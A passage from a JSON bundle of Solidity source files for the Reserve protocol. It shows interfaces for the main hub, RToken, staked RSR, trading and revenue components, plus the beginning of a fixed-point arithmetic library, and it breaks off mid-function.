event ShortFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the long freeze duration governance param is changed\n /// @param oldDuration The old long freeze duration\n /// @param newDuration The new long freeze duration\n event LongFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the system is paused or unpaused for trading\n /// @param oldVal The old value of `tradingPaused`\n /// @param newVal The new value of `tradingPaused`\n event TradingPausedSet(bool oldVal, bool newVal);\n\n /// Emitted when the system is paused or unpaused for issuance\n /// @param oldVal The old value of `issuancePaused`\n /// @param newVal The new value of `issuancePaused`\n event IssuancePausedSet(bool oldVal, bool newVal);\n\n /**\n * Trading Paused: Disable everything except for OWNER actions, RToken.issue, RToken.redeem,\n * StRSR.stake, and StRSR.payoutRewards\n * Issuance Paused: Disable RToken.issue\n * Frozen: Disable everything except for OWNER actions + StRSR.stake (for governance)\n */\n\n function tradingPausedOrFrozen() external view returns (bool);\n\n function issuancePausedOrFrozen() external view returns (bool);\n\n function frozen() external view returns (bool);\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n // ====\n\n // onlyRole(OWNER)\n function freezeForever() external;\n\n // onlyRole(SHORT_FREEZER)\n function freezeShort() external;\n\n // onlyRole(LONG_FREEZER)\n function freezeLong() external;\n\n // onlyRole(OWNER)\n function unfreeze() external;\n\n function pauseTrading() external;\n\n function unpauseTrading() external;\n\n function pauseIssuance() external;\n\n function unpauseIssuance() external;\n}\n\ninterface IComponentRegistry {\n // === Component setters/getters ===\n\n event RTokenSet(IRToken indexed oldVal, IRToken indexed newVal);\n\n function rToken() external view returns (IRToken);\n\n event StRSRSet(IStRSR oldVal, IStRSR newVal);\n\n function stRSR() external view returns (IStRSR);\n\n event AssetRegistrySet(IAssetRegistry oldVal, IAssetRegistry newVal);\n\n function assetRegistry() external view returns (IAssetRegistry);\n\n event BasketHandlerSet(IBasketHandler oldVal, IBasketHandler newVal);\n\n function basketHandler() external view returns (IBasketHandler);\n\n event BackingManagerSet(IBackingManager oldVal, IBackingManager newVal);\n\n function backingManager() external view returns (IBackingManager);\n\n event DistributorSet(IDistributor oldVal, IDistributor newVal);\n\n function distributor() external view returns (IDistributor);\n\n event RSRTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rsrTrader() external view returns (IRevenueTrader);\n\n event RTokenTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rTokenTrader() external view returns (IRevenueTrader);\n\n event FurnaceSet(IFurnace oldVal, IFurnace newVal);\n\n function furnace() external view returns (IFurnace);\n\n event BrokerSet(IBroker oldVal, IBroker newVal);\n\n function broker() external view returns (IBroker);\n}\n\n/**\n * @title IMain\n * @notice The central hub for the entire system. Maintains components and an owner singleton role\n */\ninterface IMain is IVersioned, IAuth, IComponentRegistry {\n function poke() external; // not used in p1\n\n // === Initialization ===\n\n event MainInitialized();\n\n function init(\n Components memory components,\n IERC20 rsr_,\n uint48 shortFreeze_,\n uint48 longFreeze_\n ) external;\n\n function rsr() external view returns (IERC20);\n}\n\ninterface TestIMain is IMain {\n /// @custom:governance\n function setShortFreeze(uint48) external;\n\n /// @custom:governance\n function setLongFreeze(uint48) external;\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n function longFreezes(address account) external view returns (uint256);\n\n function tradingPaused() external view returns (bool);\n\n function issuancePaused() external view returns (bool);\n}\n"
},
"contracts/interfaces/IRevenueTrader.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrading.sol\";\n\n/**\n * @title IRevenueTrader\n * @notice The RevenueTrader is an extension of the trading mixin that trades all\n * assets at its address for a single target asset. There are two runtime instances\n * of the RevenueTrader, 1 for RToken and 1 for RSR.\n */\ninterface IRevenueTrader is IComponent, ITrading {\n // Initialization\n function init(\n IMain main_,\n IERC20 tokenToBuy_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n /// Distribute tokenToBuy to its destinations\n /// @dev Special-case of manageTokens()\n /// @custom:interaction\n function distributeTokenToBuy() external;\n\n /// Return registered ERC20s to the BackingManager if distribution for tokenToBuy is 0\n /// @custom:interaction\n function returnTokens(IERC20[] memory erc20s) external;\n\n /// Process some number of tokens\n /// If the tokenToBuy is included in erc20s, RevenueTrader will distribute it at end of the tx\n /// @param erc20s The ERC20s to manage; can be tokenToBuy or anything registered\n /// @param kinds The kinds of auctions to launch: DUTCH_AUCTION | BATCH_AUCTION\n /// @custom:interaction\n function manageTokens(IERC20[] memory erc20s, TradeKind[] memory kinds) external;\n\n function tokenToBuy() external view returns (IERC20);\n}\n\n// solhint-disable-next-line no-empty-blocks\ninterface TestIRevenueTrader is IRevenueTrader, TestITrading {\n\n}\n"
},
"contracts/interfaces/IRewardable.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/**\n * @title IRewardable\n * @notice A simple interface mixin to support claiming of rewards.\n */\ninterface IRewardable {\n /// Emitted whenever a reward token balance is claimed\n /// @param erc20 The ERC20 of the reward token\n /// @param amount {qTok}\n event RewardsClaimed(IERC20 indexed erc20, uint256 amount);\n\n /// Claim rewards earned by holding a balance of the ERC20 token\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewards() external;\n}\n\n/**\n * @title IRewardableComponent\n * @notice A simple interface mixin to support claiming of rewards.\n */\ninterface IRewardableComponent is IRewardable {\n /// Claim rewards for a single ERC20\n /// Must emit `RewardsClaimed` for each token rewards are claimed for\n /// @custom:interaction\n function claimRewardsSingle(IERC20 erc20) external;\n}\n"
},
"contracts/interfaces/IRToken.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"../libraries/Throttle.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n/**\n * @title IRToken\n * @notice An RToken is an ERC20 that is permissionlessly issuable/redeemable and tracks an\n * exchange rate against a single unit: baskets, or {BU} in our type notation.\n */\ninterface IRToken is IComponent, IERC20MetadataUpgradeable, IERC20PermitUpgradeable {\n /// Emitted when an issuance of RToken occurs, whether it occurs via slow minting or not\n /// @param issuer The address holding collateral tokens\n /// @param recipient The address of the recipient of the RTokens\n /// @param amount The quantity of RToken being issued\n /// @param baskets The corresponding number of baskets\n event Issuance(\n address indexed issuer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when a redemption of RToken occurs\n /// @param redeemer The address holding RToken\n /// @param recipient The address of the account receiving the backing collateral tokens\n /// @param amount The quantity of RToken being redeemed\n /// @param baskets The corresponding number of baskets\n /// @param amount {qRTok} The amount of RTokens canceled\n event Redemption(\n address indexed redeemer,\n address indexed recipient,\n uint256 amount,\n uint192 baskets\n );\n\n /// Emitted when the number of baskets needed changes\n /// @param oldBasketsNeeded Previous number of baskets units needed\n /// @param newBasketsNeeded New number of basket units needed\n event BasketsNeededChanged(uint192 oldBasketsNeeded, uint192 newBasketsNeeded);\n\n /// Emitted when RToken is melted, i.e the RToken supply is decreased but basketsNeeded is not\n /// @param amount {qRTok}\n event Melted(uint256 amount);\n\n /// Emitted when issuance SupplyThrottle params are set\n event IssuanceThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n /// Emitted when redemption SupplyThrottle params are set\n event RedemptionThrottleSet(ThrottleLib.Params oldVal, ThrottleLib.Params newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n string memory mandate_,\n ThrottleLib.Params calldata issuanceThrottleParams,\n ThrottleLib.Params calldata redemptionThrottleParams\n ) external;\n\n /// Issue an RToken with basket collateral\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issue(uint256 amount) external;\n\n /// Issue an RToken with basket collateral, to a particular recipient\n /// @param recipient The address to receive the issued RTokens\n /// @param amount {qRTok} The quantity of RToken to issue\n /// @custom:interaction\n function issueTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for basket collateral\n /// @dev Use redeemCustom for non-current baskets\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeem(uint256 amount) external;\n\n /// Redeem RToken for basket collateral to a particular recipient\n /// @dev Use redeemCustom for non-current baskets\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @custom:interaction\n function redeemTo(address recipient, uint256 amount) external;\n\n /// Redeem RToken for a linear combination of historical baskets, to a particular recipient\n /// @dev Allows partial redemptions up to the minAmounts\n /// @param recipient The address to receive the backing collateral tokens\n /// @param amount {qRTok} The quantity {qRToken} of RToken to redeem\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param expectedERC20sOut An array of ERC20s expected out\n /// @param minAmounts {qTok} The minimum ERC20 quantities the caller should receive\n /// @custom:interaction\n function redeemCustom(\n address recipient,\n uint256 amount,\n uint48[] memory basketNonces,\n uint192[] memory portions,\n address[] memory expectedERC20sOut,\n uint256[] memory minAmounts\n ) external;\n\n /// Mint an amount of RToken equivalent to baskets BUs, scaling basketsNeeded up\n /// Callable only by BackingManager\n /// @param baskets {BU} The number of baskets to mint RToken for\n /// @custom:protected\n function mint(uint192 baskets) external;\n\n /// Melt a quantity of RToken from the caller's account\n /// @param amount {qRTok} The amount to be melted\n /// @custom:protected\n function melt(uint256 amount) external;\n\n /// Burn an amount of RToken from caller's account and scale basketsNeeded down\n /// Callable only by BackingManager\n /// @custom:protected\n function dissolve(uint256 amount) external;\n\n /// Set the number of baskets needed directly, callable only by the BackingManager\n /// @param basketsNeeded {BU} The number of baskets to target\n /// needed range: pretty interesting\n /// @custom:protected\n function setBasketsNeeded(uint192 basketsNeeded) external;\n\n /// @return {BU} How many baskets are being targeted\n function basketsNeeded() external view returns (uint192);\n\n /// @return {qRTok} The maximum issuance that can be performed in the current block\n function issuanceAvailable() external view returns (uint256);\n\n /// @return {qRTok} The maximum redemption that can be performed in the current block\n function redemptionAvailable() external view returns (uint256);\n}\n\ninterface TestIRToken is IRToken {\n function setIssuanceThrottleParams(ThrottleLib.Params calldata) external;\n\n function setRedemptionThrottleParams(ThrottleLib.Params calldata) external;\n\n function issuanceThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function redemptionThrottleParams() external view returns (ThrottleLib.Params memory);\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n function monetizeDonations(IERC20) external;\n}\n"
},
"contracts/interfaces/IStRSR.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol\";\n// solhint-disable-next-line max-line-length\nimport \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-IERC20PermitUpgradeable.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\nimport \"./IMain.sol\";\n\n/**\n * @title IStRSR\n * @notice An ERC20 token representing shares of the RSR over-collateralization pool.\n *\n * StRSR permits the BackingManager to take RSR in times of need. In return, the BackingManager\n * benefits the StRSR pool with RSR rewards purchased with a portion of its revenue.\n *\n * In the absence of collateral default or losses due to slippage, StRSR should have a\n * monotonically increasing exchange rate with respect to RSR, meaning that over time\n * StRSR is redeemable for more RSR. It is non-rebasing.\n */\ninterface IStRSR is IERC20MetadataUpgradeable, IERC20PermitUpgradeable, IComponent {\n /// Emitted when RSR is staked\n /// @param era The era at time of staking\n /// @param staker The address of the staker\n /// @param rsrAmount {qRSR} How much RSR was staked\n /// @param stRSRAmount {qStRSR} How much stRSR was minted by this staking\n event Staked(\n uint256 indexed era,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount\n );\n\n /// Emitted when an unstaking is started\n /// @param draftId The id of the draft.\n /// @param draftEra The era of the draft.\n /// @param staker The address of the unstaker\n /// The triple (staker, draftEra, draftId) is a unique ID\n /// @param rsrAmount {qRSR} How much RSR this unstaking will be worth, absent seizures\n /// @param stRSRAmount {qStRSR} How much stRSR was burned by this unstaking\n event UnstakingStarted(\n uint256 indexed draftId,\n uint256 indexed draftEra,\n address indexed staker,\n uint256 rsrAmount,\n uint256 stRSRAmount,\n uint256 availableAt\n );\n\n /// Emitted when RSR is unstaked\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCompleted(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted when RSR unstaking is cancelled\n /// @param firstId The beginning of the range of draft IDs withdrawn in this transaction\n /// @param endId The end of range of draft IDs withdrawn in this transaction\n /// (ID i was withdrawn if firstId <= i < endId)\n /// @param draftEra The era of the draft.\n /// The triple (staker, draftEra, id) is a unique ID among drafts\n /// @param staker The address of the unstaker\n\n /// @param rsrAmount {qRSR} How much RSR this unstaking was worth\n event UnstakingCancelled(\n uint256 indexed firstId,\n uint256 indexed endId,\n uint256 draftEra,\n address indexed staker,\n uint256 rsrAmount\n );\n\n /// Emitted whenever the exchange rate changes\n event ExchangeRateSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted whenever RSR are paids out\n event RewardsPaid(uint256 rsrAmt);\n\n /// Emitted if all the RSR in the staking pool is seized and all balances are reset to zero.\n event AllBalancesReset(uint256 indexed newEra);\n /// Emitted if all the RSR in the unstakin pool is seized, and all ongoing unstaking is voided.\n event AllUnstakingReset(uint256 indexed newEra);\n\n event UnstakingDelaySet(uint48 oldVal, uint48 newVal);\n event RewardRatioSet(uint192 oldVal, uint192 newVal);\n event WithdrawalLeakSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n string memory name_,\n string memory symbol_,\n uint48 unstakingDelay_,\n uint192 rewardRatio_,\n uint192 withdrawalLeak_\n ) external;\n\n /// Gather and payout rewards from rsrTrader\n /// @custom:interaction\n function payoutRewards() external;\n\n /// Stakes an RSR `amount` on the corresponding RToken to earn yield and over-collateralized\n /// the system\n /// @param amount {qRSR}\n /// @custom:interaction\n function stake(uint256 amount) external;\n\n /// Begins a delayed unstaking for `amount` stRSR\n /// @param amount {qStRSR}\n /// @custom:interaction\n function unstake(uint256 amount) external;\n\n /// Complete delayed unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function withdraw(address account, uint256 endId) external;\n\n /// Cancel unstaking for the account, up to (but not including!) `endId`\n /// @custom:interaction\n function cancelUnstake(uint256 endId) external;\n\n /// Seize RSR, only callable by main.backingManager()\n /// @custom:protected\n function seizeRSR(uint256 amount) external;\n\n /// Reset all stakes and advance era\n /// @custom:governance\n function resetStakes() external;\n\n /// Return the maximum valid value of endId such that withdraw(endId) should immediately work\n function endIdForWithdraw(address account) external view returns (uint256 endId);\n\n /// @return {qRSR/qStRSR} The exchange rate between RSR and StRSR\n function exchangeRate() external view returns (uint192);\n}\n\ninterface TestIStRSR is IStRSR {\n function rewardRatio() external view returns (uint192);\n\n function setRewardRatio(uint192) external;\n\n function unstakingDelay() external view returns (uint48);\n\n function setUnstakingDelay(uint48) external;\n\n function withdrawalLeak() external view returns (uint192);\n\n function setWithdrawalLeak(uint192) external;\n\n function increaseAllowance(address, uint256) external returns (bool);\n\n function decreaseAllowance(address, uint256) external returns (bool);\n\n /// @return {qStRSR/qRSR} The exchange rate between StRSR and RSR\n function exchangeRate() external view returns (uint192);\n}\n"
},
"contracts/interfaces/ITrade.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"./IBroker.sol\";\nimport \"./IVersioned.sol\";\n\nenum TradeStatus {\n NOT_STARTED, // before init()\n OPEN, // after init() and before settle()\n CLOSED, // after settle()\n // === Intermediate-tx state ===\n PENDING // during init() or settle() (reentrancy protection)\n}\n\n/**\n * Simple generalized trading interface for all Trade contracts to obey\n *\n * Usage: if (canSettle()) settle()\n */\ninterface ITrade is IVersioned {\n /// Complete the trade and transfer tokens back to the origin trader\n /// @return soldAmt {qSellTok} The quantity of tokens sold\n /// @return boughtAmt {qBuyTok} The quantity of tokens bought\n function settle() external returns (uint256 soldAmt, uint256 boughtAmt);\n\n function sell() external view returns (IERC20Metadata);\n\n function buy() external view returns (IERC20Metadata);\n\n /// @return {tok} The sell amount of the trade, in whole tokens\n function sellAmount() external view returns (uint192);\n\n /// @return The timestamp at which the trade is projected to become settle-able\n function endTime() external view returns (uint48);\n\n /// @return True if the trade can be settled\n /// @dev Should be guaranteed to be true eventually as an invariant\n function canSettle() external view returns (bool);\n\n /// @return TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n // solhint-disable-next-line func-name-mixedcase\n function KIND() external view returns (TradeKind);\n}\n"
},
"contracts/interfaces/ITrading.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./ITrade.sol\";\nimport \"./IRewardable.sol\";\n\n/**\n * @title ITrading\n * @notice Common events and refresher function for all Trading contracts\n */\ninterface ITrading is IComponent, IRewardableComponent {\n event MaxTradeSlippageSet(uint192 oldVal, uint192 newVal);\n event MinTradeVolumeSet(uint192 oldVal, uint192 newVal);\n\n /// Emitted when a trade is started\n /// @param trade The one-time-use trade contract that was just deployed\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the selling token\n /// @param minBuyAmount {qBuyTok} The minimum quantity of the buying token to accept\n event TradeStarted(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 minBuyAmount\n );\n\n /// Emitted after a trade ends\n /// @param trade The one-time-use trade contract\n /// @param sell The token to sell\n /// @param buy The token to buy\n /// @param sellAmount {qSellTok} The quantity of the token sold\n /// @param buyAmount {qBuyTok} The quantity of the token bought\n event TradeSettled(\n ITrade indexed trade,\n IERC20 indexed sell,\n IERC20 indexed buy,\n uint256 sellAmount,\n uint256 buyAmount\n );\n\n /// Settle a single trade, expected to be used with multicall for efficient mass settlement\n /// @param sell The sell token in the trade\n /// @return The trade settled\n /// @custom:refresher\n function settleTrade(IERC20 sell) external returns (ITrade);\n\n /// @return {%} The maximum trade slippage acceptable\n function maxTradeSlippage() external view returns (uint192);\n\n /// @return {UoA} The minimum trade volume in UoA, applies to all assets\n function minTradeVolume() external view returns (uint192);\n\n /// @return The ongoing trade for a sell token, or the zero address\n function trades(IERC20 sell) external view returns (ITrade);\n\n /// @return The number of ongoing trades open\n function tradesOpen() external view returns (uint48);\n\n /// @return The number of total trades ever opened\n function tradesNonce() external view returns (uint256);\n}\n\ninterface TestITrading is ITrading {\n /// @custom:governance\n function setMaxTradeSlippage(uint192 val) external;\n\n /// @custom:governance\n function setMinTradeVolume(uint192 val) external;\n}\n"
},
"contracts/interfaces/IVersioned.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\ninterface IVersioned {\n function version() external view returns (string memory);\n}\n"
},
"contracts/libraries/Fixed.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\n// solhint-disable func-name-mixedcase func-visibility\n// slither-disable-start divide-before-multiply\npragma solidity ^0.8.19;\n\n/// @title FixedPoint, a fixed-point arithmetic library defining the custom type uint192\n/// @author Matt Elder <matt.elder@reserve.org> and the Reserve Team <https://reserve.org>\n\n/** The logical type `uint192 ` is a 192 bit value, representing an 18-decimal Fixed-point\n fractional value. This is what's described in the Solidity documentation as\n \"fixed192x18\" -- a value represented by 192 bits, that makes 18 digits available to\n the right of the decimal point.\n\n The range of values that uint192 can represent is about [-1.7e20, 1.7e20].\n Unless a function explicitly says otherwise, it will fail on overflow.\n To be clear, the following should hold:\n toFix(0) == 0\n toFix(1) == 1e18\n*/\n\n// Analysis notes:\n// Every function should revert iff its result is out of bounds.\n// Unless otherwise noted, when a rounding mode is given, that mode is applied to\n// a single division that may happen as the last step in the computation.\n// Unless otherwise noted, when a rounding mode is *not* given but is needed, it's FLOOR.\n// For each, we comment:\n// - @return is the value expressed in \"value space\", where uint192(1e18) \"is\" 1.0\n// - as-ints: is the value expressed in \"implementation space\", where uint192(1e18) \"is\" 1e18\n// The \"@return\" expression is suitable for actually using the library\n// The \"as-ints\" expression is suitable for testing\n\n// A uint value passed to this library was out of bounds for uint192 operations\nerror UIntOutOfBounds();\nbytes32 constant UIntOutofBoundsHash = keccak256(abi.encodeWithSignature(\"UIntOutOfBounds()\"));\n\n// Used by P1 implementation for easier casting\nuint256 constant FIX_ONE_256 = 1e18;\nuint8 constant FIX_DECIMALS = 18;\n\n// If a particular uint192 is represented by the uint192 n, then the uint192 represents the\n// value n/FIX_SCALE.\nuint64 constant FIX_SCALE = 1e18;\n\n// FIX_SCALE Squared:\nuint128 constant FIX_SCALE_SQ = 1e36;\n\n// The largest integer that can be converted to uint192 .\n// This is a bit bigger than 3.1e39\nuint192 constant FIX_MAX_INT = type(uint192).max / FIX_SCALE;\n\nuint192 constant FIX_ZERO = 0; // The uint192 representation of zero.\nuint192 constant FIX_ONE = FIX_SCALE; // The uint192 representation of one.\nuint192 constant FIX_MAX = type(uint192).max; // The largest uint192. (Not an integer!)\nuint192 constant FIX_MIN = 0; // The smallest uint192.\n\n/// An enum that describes a rounding approach for converting to ints\nenum RoundingMode {\n FLOOR, // Round towards zero\n ROUND, // Round to the nearest int\n CEIL // Round away from zero\n}\n\nRoundingMode constant FLOOR = RoundingMode.FLOOR;\nRoundingMode constant ROUND = RoundingMode.ROUND;\nRoundingMode constant CEIL = RoundingMode.CEIL;\n\n/* @dev Solidity 0.8.x only allows you to change one of type or size per type conversion.\n Thus, all the tedious-looking double conversions like uint256(uint256 (foo))\n See: https://docs.soliditylang.org/en/v0.8.17/080-breaking-changes.html#new-restrictions\n */\n\n/// Explicitly convert a uint256 to a uint192. Revert if the input is out of bounds.\nfunction _safeWrap(uint256 x) pure returns (uint192) {\n if (FIX_MAX < x) revert UIntOutOfBounds();\n return uint192(x);\n}\n\n/// Convert a uint to its Fix representation.\n/// @return x\n// as-ints: x * 1e18\nfunction toFix(uint256 x) pure returns (uint192) {\n return _safeWrap(x * FIX_SCALE);\n}\n\n/// Convert a uint to its fixed-point representation, and left-shift its value `shiftLeft`\n/// decimal digits.\n/// @return x * 10**shiftLeft\n// as-ints: x * 10**(shiftLeft + 18)\nfunction shiftl_toFix(uint256 x, int8 shiftLeft) pure returns (uint192) {\n return shiftl_toFix(x, shiftLeft, FLOOR);\n}\n\n/// @return x * 10**shiftLeft\n// as-ints: x * 10**(shiftLeft + 18)\nfunction shiftl_toFix(\n uint256 x,\n int8 shiftLeft,\n RoundingMode rounding\n) pure returns (uint192) {\n // conditions for avoiding overflow\n if (x == 0) return 0;\n if (shiftLeft <= -96) return (rounding == CEIL ? 1 : 0); // 0 < uint.max / 10**77 < 0.5\n if (40 <= shiftLeft) revert UIntOutOfBounds(); // 10**56 < FIX_MAX < 10**57\n\n shiftLeft += 18;\n\n uint256 coeff = 10**abs(shiftLeft);\n uint256 shifted = (shiftLeft >= 0) ? x * coeff : _divrnd(x, coeff, rounding);\n\n return _safeWrap(shifted);\n}\n\n/// Divide a uint by a uint192, yielding a uint192\n/// This may also fail if the result is MIN_uint192! not fixing this for optimization's sake.\n/// @return x / y\n// as-ints: x * 1e36 / y\nfunction divFix(uint256 x, uint192 y) pure returns (uint192) {\n // If we didn't have to worry about overflow, we'd just do `return x * 1e36 / _y`\n // If it's safe to do this operation the easy way, do it:\n if (x < uint256(type(uint256).max / FIX_SCALE_SQ)) {\n return _safeWrap(uint256(x * FIX_SCALE_SQ) / y);\n } else {\n return _safeWrap(mulDiv256(x, FIX_SCALE_SQ, y));\n }\n}\n\n/// Divide a uint by a uint, yielding a uint192\n/// @return x / y\n// as-ints: x * 1e18 / y\nfunction divuu(uint256 x, uint256 y) pure returns (uint192) {\n return _safeWrap(mulDiv256(FIX_SCALE, x, y));\n}\n\n/// @return min(x,y)\n// as-ints: min(x,y)\nfunction fixMin(uint192 x, uint192 y) pure returns (uint192) {\n return x < y ? x : y;\n}\n\n/// @return max(x,y)\n// as-ints: max(x,y)\nfunction fixMax(uint192 x, uint192 y) pure returns (uint192) {\n return x > y ? x : y;\n}\n\n/// @return absoluteValue(x,y)\n// as-ints: absoluteValue(x,y)\nfunction abs(int256 x) pure returns (uint256) {\n return x < 0 ? uint256(-x) : uint256(x);\n}\n\n/// Divide two uints, returning a uint, using rounding mode `rounding`.\n/// @return numerator / divisor\n// as-ints: numerator / divisor\nfunction _divrnd(\n uint256 numerator,\n uint256 divisor,\n RoundingMode rounding\n) pure returns (uint256) {\n uint256 result = numerator / divisor;\n\n if (rounding == FLOOR) return result;\n\n if (rounding == ROUND) {\n if (numerator % divisor > (divisor - 1) / 2) {\n result++;\n }\n } else {\n if (numerator % divisor > 0) {\n result++;\n }\n }\n\n return result;\n}\n\nlibrary FixLib {\n /// Again, all arithmetic functions fail if and only if the result is out of bounds.\n\n /// Convert this fixed-point value to a uint. Round towards zero if needed.\n /// @return x\n // as-ints: x / 1e18\n function toUint(uint192 x) internal pure returns (uint136) {\n return toUint(x, FLOOR);\n }\n\n /// Convert this uint192 to a uint\n /// @return x\n // as-ints: x / 1e18 with rounding\n function toUint(uint192 x, RoundingMode rounding) internal pure returns (uint136) {\n return uint136(_divrnd(uint256(x), FIX_SCALE, rounding));\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10**decimals\n // as-ints: x * 10**decimals\n function shiftl(uint192 x, int8 decimals) internal pure returns (uint192) {\n return shiftl(x, decimals, FLOOR);\n }\n\n /// Return the uint192 shifted to the left by `decimal` digits\n /// (Similar to a bitshift but in base 10)\n /// @return x * 10**decimals\n // as-ints: x * 10**decimals\n function shiftl(\n uint192 x,\n int8 decimals,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Handle overflow cases\n if (x == 0) return 0;\n if (decimals <= -59) return (rounding == CEIL ? 1 : 0); // 59, because 1e58 > 2**192\n if (58 <= decimals) revert UIntOutOfBounds(); // 58, because x * 1e58 > 2 ** 192 if x != 0\n\n uint256 coeff = uint256(10**abs(decimals));\n return _safeWrap(decimals >= 0 ? x * coeff : _divrnd(x, coeff, rounding));\n }\n\n /// Add a uint192 to this uint192\n /// @return x + y\n // as-ints: x + y\n function plus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x + y;\n }\n\n /// Add a uint to this uint192\n /// @return x + y\n // as-ints: x + y*1e18\n function plusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x + y * FIX_SCALE);\n }\n\n /// Subtract a uint192 from this uint192\n /// @return x - y\n // as-ints: x - y\n function minus(uint192 x, uint192 y) internal pure returns (uint192) {\n return x - y;\n }\n\n /// Subtract a uint from this uint192\n /// @return x - y\n // as-ints: x - y*1e18\n function minusu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(uint256(x) - uint256(y * FIX_SCALE));\n }\n\n /// Multiply this uint192 by a uint192\n /// Round truncated values to the nearest available value. 5e-19 rounds away from zero.\n /// @return x * y\n // as-ints: x * y/1e18 [division using ROUND, not FLOOR]\n function mul(uint192 x, uint192 y) internal pure returns (uint192) {\n return mul(x, y, ROUND);\n }\n\n /// Multiply this uint192 by a uint192\n /// @return x * y\n // as-ints: x * y/1e18\n function mul(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n return _safeWrap(_divrnd(uint256(x) * uint256(y), FIX_SCALE, rounding));\n }\n\n /// Multiply this uint192 by a uint\n /// @return x * y\n // as-ints: x * y\n function mulu(uint192 x, uint256 y) internal pure returns (uint192) {\n return _safeWrap(x * y);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(uint192 x, uint192 y) internal pure returns (uint192) {\n return div(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint192\n /// @return x / y\n // as-ints: x * 1e18 / y\n function div(\n uint192 x,\n uint192 y,\n RoundingMode rounding\n ) internal pure returns (uint192) {\n // Multiply-in FIX_SCALE before dividing by y to preserve precision.\n return _safeWrap(_divrnd(uint256(x) * FIX_SCALE, y, rounding));\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(uint192 x, uint256 y) internal pure returns (uint192) {\n return divu(x, y, FLOOR);\n }\n\n /// Divide this uint192 by a uint\n /// @return x / y\n // as-ints: x / y\n function divu(\n uint192 x,\n 